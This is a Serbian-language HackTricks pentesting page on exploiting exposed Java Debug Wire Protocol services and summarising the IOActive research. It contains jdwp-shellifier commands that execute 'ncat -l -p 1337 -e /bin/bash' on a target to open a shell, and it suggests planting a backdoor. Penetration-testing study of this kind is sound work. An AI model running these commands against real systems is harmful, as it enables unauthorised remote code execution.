hacktricks/network-services-pentesting/pentesting-jdwp-java-debug-wire-protocol.md
2024-02-10 13:11:20 +00:00

6.6 KiB

Pentestiranje JDWP - Java Debug Wire Protocol

Naučite hakovanje AWS-a od nule do heroja sa htARTE (HackTricks AWS Red Team Expert)!

Drugi načini podrške HackTricks-u:

Eksploatacija

Eksploatacija JDWP-a se oslanja na nedostatak autentifikacije i enkripcije protokola. Obično se nalazi na portu 8000, ali mogući su i drugi portovi. Inicijalna veza se uspostavlja slanjem "JDWP-Handshake" na ciljni port. Ako je JDWP servis aktivan, odgovara istim stringom, potvrđujući svoje prisustvo. Ovaj handshake se koristi kao metoda za identifikaciju JDWP servisa u mreži.

Što se tiče identifikacije procesa, pretraga stringa "jdwk" u Java procesima može ukazivati na aktivnu JDWP sesiju.

Preporučeni alat je jdwp-shellifier. Možete ga koristiti sa različitim parametrima:

./jdwp-shellifier.py -t 192.168.2.9 -p 8000 #Obtain internal data
./jdwp-shellifier.py -t 192.168.2.9 -p 8000 --cmd 'ncat -l -p 1337 -e /bin/bash' #Exec something
./jdwp-shellifier.py -t 192.168.2.9 -p 8000 --break-on 'java.lang.String.indexOf' --cmd 'ncat -l -p 1337 -e /bin/bash' #Uses java.lang.String.indexOf as breakpoint instead of java.net.ServerSocket.accept

Pronašao sam da korišćenje --break-on 'java.lang.String.indexOf' čini eksploataciju više stabilnom. Ako imate mogućnost da otpremite zadnja vrata na host i izvršite ih umesto izvršavanja komande, eksploatacija će biti još stabilnija.

Više detalja

Ovo je sažetak https://ioactive.com/hacking-java-debug-wire-protocol-or-how/. Pogledajte ga za dalje detalje.

  1. JDWP pregled:
  • To je mrežni binarni protokol zasnovan na paketima, uglavnom sinhroni.
  • Nedostatak autentifikacije i enkripcije čini ga ranjivim kada je izložen neprijateljskim mrežama.
  1. JDWP rukovanje:
  • Koristi se jednostavan proces rukovanja za pokretanje komunikacije. Između debagera (klijenta) i debugera (servera) razmenjuje se ASCII niska od 14 karaktera "JDWP-Handshake".
  1. JDWP komunikacija:
  • Poruke imaju jednostavnu strukturu sa poljima kao što su Dužina, Id, Zastava i SkupKomandi.
  • Vrednosti SkupKomandi se kreću od 0x40 do 0x80, predstavljajući različite akcije i događaje.
  1. Eksploatacija:
  • JDWP omogućava učitavanje i pozivanje proizvoljnih klasa i bajtkoda, što predstavlja sigurnosne rizike.
  • Članak detaljno opisuje proces eksploatacije u pet koraka, uključujući dobijanje referenci Java Runtime-a, postavljanje prekidača i pozivanje metoda.
  1. Eksploatacija u stvarnom životu:
  • Uprkos potencijalnoj zaštiti od firewall-a, JDWP usluge su otkrivene i eksploatisane u stvarnim scenarijima, kao što je prikazano pretragama na platformama poput ShodanHQ i GitHub-a.
  • Skripta za eksploataciju je testirana na različitim verzijama JDK-a i nezavisna je od platforme, pružajući pouzdanu izvršnu kontrolu na daljinu (RCE).
  1. Sigurnosne implikacije:
  • Prisustvo otvorenih JDWP usluga na internetu naglašava potrebu za redovnim sigurnosnim pregledima, onemogućavanjem debug funkcionalnosti u produkciji i pravilnom konfiguracijom firewall-a.

Reference:

Naučite hakovanje AWS-a od nule do heroja sa htARTE (HackTricks AWS Red Team Expert)!

Drugi načini podrške HackTricks-u: